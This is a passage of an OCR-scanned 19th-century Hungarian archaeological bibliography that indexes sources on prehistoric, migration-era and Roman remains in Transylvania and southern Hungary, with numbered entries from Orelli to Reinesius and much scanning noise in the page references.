L k. Udvarhelyszék : Í20.2**) ; I29.i_a; H3.i_2?; I43.a?; 175..?;
185.2? : 204.3 : 206.9 : 222.1 : L_K2±-2 ? ■ 222.2—223.1 ; 230.2 1.
II. k. Csíkszék: 39.i_2 ; 88.1 1.
III. k. Háromszék: 36.i_2 ; 156.i_2; 159.2—160.1? 1.
[V. k. Marosszék : 27.2 ; 31. i; 35.2 ; 11 .*— 42.i ; 50.i ; 51.2; 53.i?;74.i;
82.2; 140.i ; 140.2 ; 201 .i_2 ; 204.2 ; 208.2 ; 209.1?; 2Í1.2?; 214.2 1.
V. k. Aranyosszék. Radnótii, Gyéres, M.-Űjvár és Toroczkó-vidéke :
37.2 ; 51.2?; 56,i : 61.2— 62.i? ;69.2 ; 86.2; 95.2-; 109.2 ; 159.2 ; 171).,:':
I88.2; 191.2; 192.i; L92.2 ; (199.2—200.1?)***); 237.2 1.
VI. k. Barczaság : 2.2 ? ; 84.2 ? ; 386.1 ? ; 387.2 ? 1.
kényelmes útmutatója lehet az utánnyomozásra ; minek alapján aztán a Szé-
kelyföld műemlékcsoportja világos, a tudomány színvonalán álló hű képének
feltüntetése nehéz munka remélhetőleg nem leend s az ekként nyerendő tu-
dományi eredménynek történetírási tekintetben való értékesítése valahára
csakugyan ténynyé válhatik. ,
A mi az osztályozást és csoportosítást illeti, megkívánom jegyezni, hogy :
1) alatt azokra a nyomokra vonatkozó adatokat állítani egybe, a melyek -
jellegükből következtetve — a római-kort általában megelőzött ú. n. történe-
lemelőtti korra vallanak ; 2) és 3) alatt összefoglalólag az oly adatokat, melyek
részben az ős-, részben a rómaiak uralma alatt is létezett barbár- s leginkább
a voltaképeni (a nem magyar) népvándorlási kor népeinek maradványait, mű-
emlékeit tüntetik fel, de a melyek között a válvonalakat a mint kívánatos
lesz vala egészen biztosan megállapítanom s ez endékeket az illető korszakok
szerint megfelelően külön osztályoznom és csoportosítanom az előadott okok-
nál fogva nem lehetett; i) alatt az ős-, a rómaiak alatti barbár- s a népván-
dorlás-kori ternetkezőhelyekre (domb-, halom- és üregsírokra) vonatkozó ada-
tokat állítani egybe ; végül 5) és 6) alatt a római-korra vonatkozókat. Az oly
adatoknál, a melyek biztos osztályozására és csoportosítására nézve szerző
leírása határozott vagy elégséges támpontot nyújtott, a lapszám egj'szerüen
van megjelölve ; a valószínűséggel osztályozhatóknál pedig mint szintén azok-
nál, a melyeket részben a leírás határozatlanságánál, részben pedig tekintetet
érdemlő más okoknál vagy egybevetéseknél fogva nem csupán egy, hanem két
sőt több osztályba is kellett soroznom, a lapszám mellé kérdőjelt alkalmaztam.
**) A uagyobbik szám az oldal-, a kisebbik pedig a hasábszámot jelöli.
Egymásl nyomban követő ugyanazon oldal- és hasábszám a hasonosztályzatba
sorozást követelő, de szerző közbevetett szövege által egymástól elválasztott
különböző adatokat jelzi.
;::;:;;'-i A zárjelek közé foglalt lapszámok oly adatokra vonatkoznak, melyek
szerző leírása alapján az illető osztályzatba felvétettek ugyan, de tényleg nem
nak oda.
I., Orbán, 551. 63
•_'i Ü8-, barbár- vagg népvándorlási-kor:
I. k. Udvarhelyszék : 29.s 34.i?; 38.i a; 11.,:': BO.i 62.i?; 69.«;
TÓ..0: 75.9| 8I.9 82.i ?; 85.a?; 94.i ? ; 117., II8.1; 121.1?; 122.9
123.i; US.,:'; 138.i?; 139.s; 111.,:': I43.i; M::.. »?; 143.9?;
144.9; 150.9?; I0I.9 ; 155.2—156.1?; I56.i; 156.9?; I68.9?; 175.,:':
185.9?; I86.1 ; 200.1 9?; 204.1 -206.9 ; 219.9?; 22 í,,:1 : 230.1 , :' :
234.9 235.9? I
II. k. ( Isíkszék : 22.9 ? ; 5 í,, ; 56.9 ? ; 69.i :' 1.
111. k. Háromszék: 10.,?; 1 1 .9 ? ; 26.9— 27.i ? ; 27.9?; 36.i : i9.2; 51.i_2
92.9?; 93.9; 112.9?; 114.1?; 133.1?; 135.9 ; 155a?; 164.9?; 105.,:'
I66.2?; 167.i?; 173.9?; 176.i; 181 .9; I83.i?; 183.9?; I84.i; 205.1?
205.« ? 1.
LV. k. Marosszók: 21.9—22.3?; 23.i?; 26.i?; 29.i : 29.i , :' : 30.2 ; 32.3 ;
33.i_3 ; 30.!?; 39.2—40.1?; is.,:': 54.i?; 66.2; 68.9; 72.i; 78.i;
78.8; 84.i?; 94.i— 95.i?; 95.2?; 98.2?; 100.2?; 105.i; 109.1?;
I75.i?; 179.i_2?; 190.i_9?; 195.,?; 198.1?; 202.9?; 203.i; 21 5.i? 1.
V. k. Aranyosszék. Radnótii, Gyéres, M.-Űjvár és Toroezkó vidéke :
57.,: 66.9—67.1; 67.9?; 95.i?; 95.9—96.1?; 102.2— 103.i; H8.1?;
1 20., ? : 1 24.2 ? : 1 25., ? ; 1 27. i_a ? ; 1 50.2 ? ; 1 51.i ?; 151.2 ?; 1 5! •
I6O.1?; I6I.2?; 170a?; 173.2? 1.
VI. k. Barczaság : 2.9 ? ; 3.i; 76.i?; 76.3? ; 77.i— 78.i?; 84.s?; 165.2?;
177.i_2?; 178.i? ; 188.i_2; 368.1 : (385.1 Gredistye, hegy ?) ; 386.1?;
430.2?; 441 .2?; I43.i_2? 1.
3) űs-, barbár- vagy népvándorlás-koH határtöltések és sánczok, védvona-
lak stb. :
I. k. Udvarhelyszék : 68.1-2 ; 78.2? (Eakott út) ; 88.3; I04.i; 121*
122.2 ; 129.1-2? (Földhíd); 130.,; 139.9 ; (144.9? Szt.-István útja) ;
146.i ; 150.9; 151.2: (156.i? Siründauth útja); 1 58.s ; 209.i_2;
222.,? (Tatárhányas); 223.J ; 232.2 233.8; 234.8; 234.9 235.,. 1.
II. k. Csíkszék: 0.,— 10.,. 1.
III. k. Háromszék: 20a ■; 93.2? (Mélyútak, ringek?); 170.3 171.2; 172.,:
176.i (ringek?): 204.3.1.
IV. k. Marosszék: 20.i_2? (valószínűleg római út): 32.9 és 33.i
(ringek?); 42.i? (Zálogos); S0.2— sl., ? (valószínűleg római út) ;
94.2 — 95.i? (valószínűleg római út): 220.,? (Csetátye) 1.
V. k. Aranyosszék. Radnóth, Gyéres, M.-Űjvár és Toroezkó vidéki'
57., (Szilfáknál dombok) : 66.2—67.1 (ring ?) : 177., :' , Dobogó) 1.
64 I., Orbán, 551.
VI. k. Barczaság : 3.x; (3.i?, ring?) ; (64.x?); 72.2? (Kálvária); 73.a
80.1—s ; 84.2 85a; 188.i_a (Tatárhányás); 368.1 (Bozsnyó-toháni
töltés); 423.8 ; (430.2?, ring?)l.
4) Turnulusok: '
1. k. üdvarhelyszék : 31.i; 85.s?; 118.8?; 121.x?; 123.x; I29.i?;
141.8?; 143.i?; 150.8 ; 156.2?; 168.8?; 175.2?; 203.:?; 209.2?;
221..:'; 222.x_a. 1.
II. k. Csíkszók : 45.i ? ; 46.i ? 1.
III. k. Háromszék : 27.2?; 36.x_s ; 37.a?; 51.i_a?; 135.a?; 145.i_9?;
I7tl.i?; 183.i?; 196.x ? 1.
IV. k. Marosszék : 1 7.i_i ? ; 23.i ? ; 27.a ? ; 27.a ; 35.a ; Í2.i ; 53.i ? ; 66.a ? ;
72.i ? ; 74.a ? ; 78.i ? ; 78.a ? ; 82.a ; 92.i ? ; 1 75.i_2 ? ; 1 80.i_a ? ; 181.x? ;
204.8?; 219.a?l.
V. k. Aranyosszék. Radnótii, Gyéres, M. -Újvár és Toroczkó vidéke :
57.i ; 95.s ?; 95.8 ; 120.1?; 125.1?; 151.a?; 158.8?; 176.2 — 1 77.x ?:
I84.a?; I88.1? 1.
VI. k. Barczaság : 72.2 ? ; 76.a ? ; 77.2 ? ; 84.a ? ; 162.1 ? ; 386.1 ? 1.
5) Római-kor :
I. k. Udvarhelyszék : 41.a ? ; 64.i ; 1 07.2 — 1 08.i ; 1 13.i ; 1 1 7.i_a ; 1 22.x ;
I22.a?; 124.2 — 125.2; 133.i_2?; 143.x?; 164.x_a; 165.1— 166.1;
[68.1; 168.s; 170.1 ; 175.8?; 185.a; 191.x ; 191.a;194.a; 195.x; 198.x
199.x ; 199.i_a ; 200.i_2? ; 203.i_a ; 206.i-a ; 207.x ; 209.a; 212.2 ;
213.8 ; 214.i; 214.8— 215.i; 217.i; 220.i_2; 222.i: 222.2—223.!?;
224.1 ? ; 230.i_2 ? 1.
II. k. Csíkszék: (24.a, 132.2, 137a? 1.)
III. k. Háromszék : 27.2?; 35..1 ? ; 56.i?; 58.i?; 101.*; 124.x; 125.2 ;
103.i?; 164.a?; 166.a?; 167.1?; 172.i; 176.1?; 181 .2— 182.x? ;
is:;., ; I83.a?; 195.x— 196.x ; 196.x_a ; (200.x ?) ; 205.t ? ; 205.2 ? 1.
IV. k. Marosszék : 14.x_a; 16.x_a; 17.x_a?; 20.x ? ; 20.a— 21.x; 23.x?;
29.x 2?; 35.8?; 53.x?; 53.2 ; 81.x; (82.a?); SS.i_2 ; 90.x; 107.8 ;
109.x?; 140.s; 149.8 ; 153.x_a ; 175.x?; 182.8 ; I92.i_a; 204.8?;
208.8? ; 214.8 ; 217.i_a; 218.8?; 219.x ; 219.8. 1.
V. k. Aranyosszék. Radnóth, Gyéres, M.-l'jvár és Toroczkó vidéke
40.8—41.8 ; 48.i; 51.a— 52.x; 54.x_a ; 55.x_a; 60.a ; 61.a— 62.x ? ; 66.2
69.8 ?; 70.i_8 ; 86.2— 87.i ; 90.x_a ; 9o.a— 96.i ; I05.i ; 109.a— HO.i
lll.i_a; 124.2?; 125.1?; 127.x_a? ; 132.2— 1 33.x ; 151.a?; 153.i_s?
1 56.2 ; 158.2?; 158.a— 159.x?; 159.a— 160.x; IGI.2; 170.x?; 170.a
I.. Orbán Orelli, 051 552.
I73.9?;176.i 177.i ; 179.2 I8O.1?; I83.i; IM,: I84.9; 194.2?;
(199.1 «?); (199.a 200.i?) 1.
VI. k. Barczaság: 2.2 3.i; (2.a 3.i ?*> jegyzet) ; 76.i ? ; 76.2? ; 77.i
78.i?; 84-^?; I65.s ? ; I 77. 1 í?;178.i?; I88.1 2?;(204.i?); 295.a;
348.1?); 368.1 ?; (370.9?); 378.1?; (385.1 Gredistye, hegy?); 386.1?;
388.9?); 389.i? 1.
6) Római útvonalak :
L k. üdvarhelypzék : 122.i; 124.2 ; 143.1? ; I66.1; 195.i; I99.i; 199.2
203.2; 206.1 ; 209.2 ; 220.9. 1.
III. k. Háromszék : 1 < » 1 ., : ] 2 l.i : 1 25.2 : 1 28.2 ; (170.1 171 .-,. I 72.i, 21 1 l.i,
limes?); 195.2. 1.
IV. k. Marosszék : I4.i_9; I6.2 ; 20.i_2; 21a; 50.2; 53.2; 65.2 (ifi..;
80.»- 8I.1 ; 83.i_2; 88.1; 89.i; 94.2- 95a; I07.s; 149.2 ; 153a s;
17:,., : I8O.2; 182a; 182.2 ; I88.1; 192a; 214.2 ; 217., 2; 219.1.1.
V. k. Aranyosszék. Badnóth, Gyéres, M.-Űjvár és Toroczkó vidéke:
10.2— 41 a; 53.2— 54a i 66.1-2; 70.2; 82.i ; 86.2— 87.i ; 109.2 ; 127-
176.1.1.
VI. k. Barczaság: (80a_2, 84.a— 85a, I88.i_2. 1., limes
1 - mertette : Rómer, Archaeologiai Értesítő (Pesti I. k. (1869)
52—55, 249—251. 1.— II. k. (1870) 1 13—114. 1. — V. k. (1871 16
70. 1. és Frídríeh István u. 0. VIII. k. (1874) 185 -188. 1. (A még
csak kéziratban levő művet ismertette -lakai Elek, Budapesti Sí
Pest új folyam X. k. [1868 296—318. 1.)
552. Orelli (Jo. < 'asjt. — . Inscriptionum latiuarum selectamm amplií
collectio ad illustrandam Bomanae antiquitatis disciplinam acco-
modata ac magnarum collectionum supplementa complura emen-
dationesque exlribens : cum ineditis Jo. Oasp. Hagenbuchii stiisque
adnotationibus. Tnrici, 1828. 8r. két kötet. — I.k.: 32—33. 1. (Bon-
finiusról); í2. 1. (Kertziusról) ; 63. 1. (Servertről) ; 66. 1. (Zamoscius=
Szamosközirőlj ; 509, 791,812, 831,846, 866, 878, 925, 936,
987, 1214, 1225, 1248, 1251, 1264, 1269, 1276, 1280, 1284 1285,
1295*. 1341, 1347, 1401, 1452, 1504, 1560—1561, 1580 '
1601, 1631, 1677, 1696, 1705- 1706, 1708, 1744, 1748, 1762, 17-7.
1796, 1809, 1820—1821, 183:,. 1839, 1917, 1923, 1934 1938,
1941, 1943, 2001, 2042, 2046, 2117. 2119, 2121. 2167, 2171. 2300,
2592, 2695, 2712. 2731, 3016. sz. és 533. 1. Mami Hagenbucli-
hoz), 544. 1. (Hagenbuch Maffeihez). - n.k.:3077, 3234 3235,
Repertórium. ~t
66 I., Ormay— Ortvay, 553—564.
3296, 3303, 3370. 3427, 3433, 3441, 3451, 3455, 3515, 3r>7:í, 3575,
3667 3668, 3686, 3798, 3815, 3826, 3846, 3977, 4065, 4121, 4260,
4552, 4813, 4827, 4986. 1. (L. Henzen. 309. sz.)
553. Ormay f Károly). Orsova-temesvári éremlelet. — L. Archaeoloyiai Ér-
tesítő (Budapest) IX. k. (1875) 186 -187. 1.
554. Ormós ( Zsigmond I. Római telep Zsidovinban s ott talált római érmek.
— L. Archaeologiai Értesítő (Pest) III. k. (1870) 262. 1. (V. ö. u. o.,
233. 1., 22. sz.)
555. - A zsidovini római telep (Bersovia). - - L. Archaeologiai Értesítő
(Pest) III. k. (1870) 319—320. 1., 78. sz.
556. - Régészeti közlemények. I. Bersovia (Zsidovin ). — L. Archaeologiai
Közlemények (Pest) VIII. k. (1871) 14-5—153. 1.
557. — Régészeti közlemény Dél-Magyarországra vonatkozólag. — L. A ma-
gyar orvosok és természetvizsgálók munkálatai (Budapest) XVI. k.
(1872)111—118.1.
558. ■ — A római Terminus Dentán. — L. Történelmi és régészeti értesítő, a
délmagyarországi történelmi és régészeti társulat közlönye (Temes-
vár) I. k. (1875) 99—100. 1. (V. ö. n. o., 98. 1.)
559. — - Megnyitó beszéd. Tartatott a délmagyarországi történelmi és régé-
szeti társulat 1 s75. évi május havi közgyűlésén. — L. Történelmi
és régészeti értesíti), a délmagyarországi történelmi és régészeti tár-
sulat közlönye (Temesvár) I. k. (1875) 111, 113, Ili, 116, 118, 123,
124—126. 1.
560. — Kirándulás Viminacium és Margum romjaihoz. — L. Történelmi és
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) IV. k. (1878) 101 — lOs. 1.
561. — Adatok a délmagyarországi földvárak történetéhez. — L. Történelmi
es régészeti értesítő, a délmagyarországi történelmi és régészeti társu-
lat közlönye (Temesvár) V. k. (1879) 65—71. 1.
562. Ortelius { Abrahamus — ). Theatrum orbis terrarum. Antverpiae, 1592.
ívr. — 91 és 92. ív, illetőleg tábla.
— Orthmayr. — L. Ortvay.
563. Ortvay ( Tivadar). ítészét és vitiligatismus. Böhui Lénárt «Dél-
magyarország vagy az úgynevezett Bánság különtörténelme» czímű
munkájának igazolása- és kiegészítéséül. Temesvár, 1869. 8r. —
5 47, 68. 1.
564. -Nagy-Becskerek. - L. Orthmayr- Szentkláray, Történelmi adattár
I Ortvay, 565-574. 67
Csanád -egyházmegye hajdana <■* j, lm, ■!,,•: (Temesvári J. k. (]s7l ) 394,
104, 108 411. 1. (Plébániák tára. XII.)
.")('>.'">. A megalakítandó délmagyarországi történeti <;s régészeti társulal
eszméjéhez, tekintettel egyházmegyénk (t. i. Csanád-egyházmegye)
történeti térképére. — L. Orthrnayr-Szentkláray, Történelmi adattár
Csanád-egyházinegyt hajdana és jelenéhez (Temesvár) II. k. (1872) v,<
s köv. 1.
566. — Bulcs. — L. Orthrnayr-Szentkláray, Történelmi adattár Csanád-egy-
házmegye hajdana és jelenéhez (Temesvár) II. k. | 1872) 339. 1. (Plébá-
niák tára. XXVIII.)
567.- — Műemlékek és régi épületmaradványok egyházmegyénk (t. i. Csa-
nád-egyházmegye) területén. — L. Orthrnayr-Szentkláray, Történelmi
adattár Csanád-egyházmegye hajdana és jelenéhez (Temesvár) II. k.
(1872) 157—458. 1.
568. — A barlangok paláontologiai és történeti jelentősége, tekintettel
Magyarország , de különösen Délmagyarország barlangjaira. —
L. A magyar orvosok és természetvizsgálók munkálatai i Budapest)
XVI. k. (1872), elszórva, főleg : 284—290. 1. (V. ö. u. o., 70. 1., 6. sz.)
569. — Csanád. — L. Orthrnayr-Szentkláray, Történelmi adattár Csanád-
egyházmegye hajdanáim-: és jelenéhez (Temesvár) III. k. (1873) 9 — 22. 1.
(Plébániák tára. XXXIII.)
570. — Közlemények a magyar nemzeti múzeum érem- és régiségosztályá-
ból.— L. Archaeologiai Értesítő (Budapest) YIII. k. (1874)245.1.
(mehádiai és lippai bronz régiségek.)
571. — Dáczia feliratos emlékei és térképe Mommsen kiadásában. —
L. Archaeologiai Közlemények (Budapest) IX. (új folyam VI.) k..
2. f. (1874) 63 — 89..L Lenyomata u. a. czim alatt, u. o., u. a. ír.
(L. Mommsen 495. sz.)
f>7:2. — Kisebb éremleletek. — L. Archaeologiai Értesítő (Budapest) IX. k.
(1875) 123. 1. (Csík-Rákoson és Kis-Peregen lelt római ezüst- és
rézérmek).
'>!'■'>. — A Történelmi és régészeti L-á-tesítő I. évfolyama 1 és 2-ik füzetének
ismertetése. — L. Archaeologiai Értesítő (Budapest) IX. k. (1875)
209—213. 1.
">7í-. — Hunyadmegyei cserbelei (vóltaképen cserbeli) lelet. — L. Archaeolo-
giai Értesítő (Budapest) IX. k. (1875) 215 -220. 1. (E lelet egy
részének, 103 illetőleg 10-2 darab római ezüstéremnek elárvere
5*
68 I., Ortvay— Ötvös, 575—582.
iránti hirdetmény, 1. Archáeologiai Értesítő Budapest] XI. k. [1877]
KM) és 168. 1.)
57."). — Dáczia és Mösia területén. (Jelentés gyanánl alduna-vidéki kirán-
dulásomról).— L. Archáeologiai Értesítő (Budapest) IX. k. (1875)
225- -±v.\. 257 270, 292 306. 1.
576. — Kraszna-mihályfalvai lelet. — L. Archaeoloyiai Értesítő (Budapest)
IX. k. (1875) 282.1.
577. — Mihályfalvai leletek. — L. Archáeologiai Értesítő (Budapest) IX. k.
(187:.) 283. 1. - - V. ö. Archáeologiai Értesítő (Budapest) X. k.
(1876) 60. 1.
578. - A magyar nemzeti múzeum érem- és régiség-gyűjteménye 1874-ben.
Az osztály évi gyarapodásának, rendezésének, kiadásainak, személy-
zete működésének és az évi lelethelyek kimutatása. — - L. Archáeo-
logiai Közlemények (Budapest) X. k., 1. f. (1876) 85.1.; 99. 1. ;
121. 1., 5. sz. ; 128. L, 62 és 64. sz. ; 13i>. 1./92. sz. ; 133. 1., 110. sz.
57'.).- — Tibiscum helyfekvése. -- L. Archáeologiai Közlemények (Budapest)
X. k., 3. f. (1876) 1 — 48. 1. (Következő czímű kivonatát : "Feliratos
új adat a régi Tibiscum helyfekvésére nézve. [Kivonatos közlemény
szerző február 4-kén tartott értekezéséből.]') 1. Századok, a magyar
történelmi társulat közlönye [Budapest] IX. k. [1875] 194 — lí>7. 1.)
580. — Margum és Contra-Margum (Castra Augusto Flavianensia, vagy
Constantia) helyfekvése. Források és közvetlen helybuvárlat alap-
ján. — L. Magy. tini. akadémia, Értekezések n történelmi tudományok
köréből. II. osztály (Budapest) YI. k., 1. sz. (1876), elszórva, főleg:
57 70. 1. (V. ö. Ortvay, Kritikai adalékok Margum történetéhez.
— L. Magy. tud. akadémia, Értekezések <i történelmi tudományok köré-
ből. II. osztály [Budapest] Yl. k., 7. sz. [1876], elszórva).
L. Gooss 240, Hirschí'eld 315, Mommsen 495, Pesty 594. sz.
581. Osváth ' Pál). Bihar vármegye sárréti járása leirása. Nagyvárad, 1875.
8r. — 52, 51—55, 74, 283. 1.
582. Ötvös (Ágoston). Ismeretlen régiség. — L. Erdélyi Múzeum, a Kolozs-
vári Magyar Futár melléklete. 1856. évf., 24. sz., 192- 193. 1., apu-
lumi lelet. (Utánnyomatát 1. Szilágyi Virgil, Budapesti Viszhang,heti
közlöny 1856. évf., 38. sz., 315. 1. Hírcsengetyű]; és H. jegy alatt: Die
archáologischen Publicationen ungarischer Zeitschriften, 1. Mitthei-
lungen derk. k. ' 'entral-( 'ommission ~.i<r Erforschung und Erhaltung der
Baudenkmále Wieu El.k. 1857] 247.1.). — L.még:Grotefend^5ii.sz.
I., Paget-Pesty, 583-594.
P.
583. Paget (John — esqu.j. Hungary and Transylvania. London, 1X39. 8r.
I — II k. — Németre fordította /•.'. A. Moriarty következő czím
alatt: Ungarn und Siebenbürgen. Leipzig, 1842. sr. I — II k. - —
Elszórva, főleg: II. k., 131—132, 137, 139 I 1% I 15 150, lí
155, 202—203, 228, 261, 281- -282, 290 291. 1.
584. Pagi (Antonius — ). Dissertatio hypatica seu de consulibus caes
Ex occasione inscriptionis Forojuliensis Aureliani augusti. Lug-
duni. 1682. ír., elszúrva, főleg: 33, 135c.'). 207. 1.
5s5. Panvinius (Onuphrius — /. Bepublicae Romanae commentarioruni
libri trés. Venetiis, 1558. 8r. — 93—94, 601, 823, 838 840, 864,
881, 886, 887, 900, 901, 902, 918—919, 942. 1.
5s6. Papp ( Gábriel — ). História Transilvaniae ab antiquissimo tempore
usque anuum 1571. — L. Programmá gymnasíi graeco-cat/t. Blaxien-
sis pro ann<> scholastico 185*/s (Blasii, 1853. 4r.) 3 — 4. 1.
">s7. Papp /Márton/. Az erdélyi múzeum. (Régiségtár ismertetése). —
L: K. Papp Miklós, Kolozsvári nagy naptár 1866. (JX) évf., 207 —
210. L
~>ss. Pataki f Ferencz .. Erdélyi képek. IX. Demsus. — ■ L. Hazánk s a Külföld
(Pest) 1867. évf.. 5. sz., 69—70, 72. 1.
589. Pailly '( August — /.Dacia. — L. Pauly, Real-Encyclopádte der clas.fi-
schen Alterihumswissenschaft (Stuttgarti II. k. (1842) 836— s37. 1.
590. — Getae. — L. Pauly, Reál- Eneyclopadie der classischen Alterthumsirís-
smsehaft (Stuttgart) III. k. (1844) 853. 1.
591 . Paur (Iráni. Nevezetes levélnyomó. — ■ L. Archaeologiai Értesítő i Bu-
dapest) XII. k. (1878) 33.1.
592. Pech (Józsefi. A zsadányi avar telepek Tenies vármegyében. —
L. Történelmi és régészeti értesítő, a délmagyarországi történelmié-.
régészeti társulat közlönye (Temesvár) III. k. (1877) 19—59. 1.
i V. ö. u. o., 79. 81—82. 1.)
5(»3. Péchi ( Michael — von Újfalu ). Bemerkungen über die onlángst vorge-
fundenen altén römischen Ruinen bei Gredistie. — L. Siebenbürgi-
sche Provinzialblátter (Hermannstadt) I. k. 1 1805) 249 252. 1.
594. Pesty (Frigyes). A szörényi bánság és Szörény vármegye története.
Budapest. 1878. 8r.- 11. k., ::i (?), 35 ?), 115. 117. 215,309 323,
70 I.. Pesty— Fray, 595—604.
323 325, 389—390, 390—391, 391, 392, 416- 417, 425,437—
L38, 513 -523, 556, 570. 1. iL. Ortvay ismertetését: 'Századok, a
magyar történelmi társulat közlönye Budapest XIII. k. [1879
163— 169. L, sv. ö. u. o., XII. k. 1878] 842 843.1.)
— — L. Haan 262. sz.
.V.i."j. Petermann (A. — ). Die russisch-türkische Grenze an den Donau-
Mündungen, nacb den Bestimmungen des pariser Schluss-ProtokoUs
vom 6. Január 1857. — L. Petermann, Mittheilungen aus Justus
Perthes' geoyrapJrischer Anstalt über uichtige nem Erforschungen auf
dem Gesammtyebiete der Geoyraphie (Gotha) 1857. évf., 129 — 130. l.r
11 jegyzet (a Dunatorkolat körüli római vallum).
596. Peutingeriana tabula itineraria ex bibliotheca caesarea Vindobonensi
cura Franc. Christ. de Scheyb edita 1 753. Sumtibus Eeg. Scient*
Univers. Himg. typographiae recusa 1 825. kereszt ívr. — Dacia
térképe. (L. Katancsich 363. sz.)
."j!i7. Philippi (FHedrich — ). Die deutschen Ritter im Bnrzenlande. —
L. Programm des evangelischen Gymnasiwm :u Kro-nstadt inul der
damit verbúndenen Lehr-Anstalten 1800 — 61 (Kronstadt. 1861. 8r.)
7 — 9. 1. Lenyomata n. a. czím alatt, u. o., u. a. 8r.
598. Piranesi f Giambatista — ). Le antichita romane. Boma. 1756. ívr. —
I. k., 31. 1., 203. sz. és XXIX. tábla, 2. ábra.
599. Platzmann [ Theodorus Alexander — ). Juris Bomani testimomis de
militum honesta missione quae in tabulis aeneis supersunt illustrati
specimen d. XXII. Decbr. A. 1818. defensum. Lipsiae. 1818. 4r. —
9. és XIV — XV. 1., VIII. tábla (Tulajdonképen azonban nem Platz-
mann, banem Hauböld műve. L. Haubold 280. sz.)
600. Poinsignon ( A.-M. — /. Essai sur le nombre et l'origine des provinees
romaines créées depuis Auguste jusqu'a Dioclétien. Paris, Isid. 8r.
— 66, 70, 99, 117.1.
601. — Quid praecipue apud Bomanos adusque Diocletiani tempóra Illyri-
cum fuerit breviter disseritur. Paris, 1 846. 8r. — 51- 52, 54, 60— 61 . 1.
602. Popu ( Gavriel — seu Laslo). Istoria Daciei antice. Clusiu, 1855. 8r.
603. Porzsolt (Adóm). Marosszéki régiségek. -- L. Archaeologiai Értesítő
(Pest) V. k. (1871) 15.1., 6. sz.
604. Pray ( Georgins — ). Dissertationes bistorico-criticae in annales vete-
res Hunnorum, Avarum et Hungarorum. Vindobonae. 1775. ívr. —
121- 122, 122 123, 133 134.1.
I.,
Preyer— Radisics, 605—613.
605. Preyer (Jokann N. - . Monographie der königUchen Freistadl Te-
mesvár. Temesvár, 1853. &r. — 1— '■'>■ 1.
606. Ptoleinaei ( /. — Pelmiensis) Geographicae enarrationis libri octo.
L. Jo. Antonius Maginus Patavinus, Geographiae aniversae tum
veteris, tum novae absolutisrimum opus, duobus voluminibus di-
stinctum.Venetiis, I597.4r.- I. k.. 71—72. 1. -- II. k., 11.1.
IX. tábla: 160 a., 161 &., 163, 164 a. 1.
607. Pulszky ( Ferencz h A magyarországi avar leletekről. - L. Magy. tud.
akadémia, Értekezések a történelmi tudományok köréből. II. <>*:t(ihj
(Budapesti III. k.. 7. sz. (1874) 10- 1.
608.— A békés-gyulai múzeum.— L. Archaeologiai Értesítő (BudapesI
X. k. (1876) 133 135. 1. ütánnyomtatva : .1 békésvármeyyei régi
és mivdődéstöiténelmi társulat évkönyve (B.-Gyula) II. k. (1876)
140 141.1.
609.— L'age du cuivre en Hongrie. — L. Congrés international d'anthro-
pologieetd'archéologiepréhistoriques.C<mpte-rendudelMhuitiémesession
Bucíapest 1876. (Budapest. 1877)224. 1.; 228. L. I.t., 8. á.; 232.1.,
III. t.. 19 és 23. á.
610. — Az őstörténelmi leletekről Magyarországban. — L. Népszerű termé-
szettudományi előadások gyűjteménye (Budapest) 1. f. (2-ik kia
1877.) 16—19.1.
611. _ Néhány magyarországi és ősmagyar leletről. — L. A magy. tud. aka-
démia évkönyvei XVI. kötelének 3. darabja (Budapest. 1878) 59, 61,
62, 63. 1. (Német fordítását következő czím alatt .Práhistorische
und andere Fundein Ungarn* 1. Hunfalvy, Literarische Berichte aus
Ungarn [Budapest] IL k. 1-7- 391-392,394,395,396.1.)
612.— A kelta uralom emlékei Magyarországon. -- L. Archaeologiai Köz-
lemények (Budapest) HE t, L t (1879) 7. I i. 17. 18, 19,20.1.
(Német fordítását következő czím alatt «Die Denkmáler der Kel-
tenherrschaft in Ungarn- IHunfalvy, Uterarüch Berichte aus I rngarn
Budapest] Hl. k. 1879 238, 254, 258, 261, 263/ 1.)
R.
613 Radisics (JenSJ. Római (?) épületromok Ligeten, Temesmegyében. -
L. Archaeologiai Értesítő (Pest) III. k. (1870) 120 121.1. (V. ö.
u. o., 100.1., 15. sz.l
I.. Ravennas— Reissenberger, 614—621.
(>] l. Ravennatis (anonymi) qüi circa saeculum VII. vixit geographiae libri
quinque. - L. Jacobus Gronovius, Pomponii Melae libri trés de
situ orbis nummis antiquis et notis ülustrati. Lugduni Batavorum,
1696. 8r. — 55— 56, 58,01—62. 1.
615. — cosmogi'aphia el Quidonis geographica. Edit. .1/. Pinder et G. Par-
they. Berolini, 1860. 8r. - 28, 32, 188 189, 202—205. 1. (L. Kurz
U is. sz.)
616. Reichard (Christianus Theophilus^J. Orbis terrarum antiquus, emu
tbesauro topograpbico, continente indices tabvúarum geographica-
rum topographicos, eosdemque criticoB. Norimbergae, 1821. ívr. —
X és Xin. tábla; és: Orbis terrarum antiquus ,a Christiano Theo-
philo Keicbardo quondam in usum iuventutis descriptus. Editio
sexta. Denuo delineavit et commentario illustravit Albertm Forbi-
ger. Norimbergae, évn. kereszt ívr. — 6, 13, 1 í. 1. és XV. (s részben
a XIV.) tábla.
617. Reimarus (Herm. Sam. — ). De vita et scriptis Joannis Alberti Fab-
ricii commentarius. Hamburgi, 1737. 8r. — 346 — 351. 1.
61 8. Reinesius ( Thomas — ). Ad viros clariss. D. Casp. Hoffmannum, < %rüt.
Ad. Tlupertián profess. Noricos epistolae. Lipsiae, 1660. ír. — 133
— 135. 1. (Epistola XXIIX. Eeinesio Rupertus).
610. — Syntagma inscriptionum antiquarum cumprimis Romaeveteris, (pia -
rum omissa est recensio in vasto Jani Gruteri opere cujus istboc dicj
possit supplementum.Opus postbumum. Lipsiae et Francofurti,1682.
ívr. — Praefatioadlectorem, 6. oldal; 18—19, 5 : 19, 6; 21—23. s ;
23, 9; 29, 12; 41, 17; 53—54, 25; 5Í— 55, 26; 57— 5S, 30; 63,
38; 97, 49; 117— 118, 79; 141, 102-103; 150—151, 111-112:
155, 116— 117; 157— 159, 120; 165, 127; 167, 132; 171, 142:
178, 152; 185— Isti, 168; isii, 169; 193, 187; 107, 192; 198, 10.}
-104 ; 255, 1 7 ; 277, 41 ; 437, S2 ; 440— 441, 00 ; 51 1 , 5—6 ; 533,
54 : 707, 31 : 712. i5 16 : 728, 20; 731, 34 : 752. 108 ; 758, 130;
816, 4; 823, 34; 852, 135; 1020, 12.
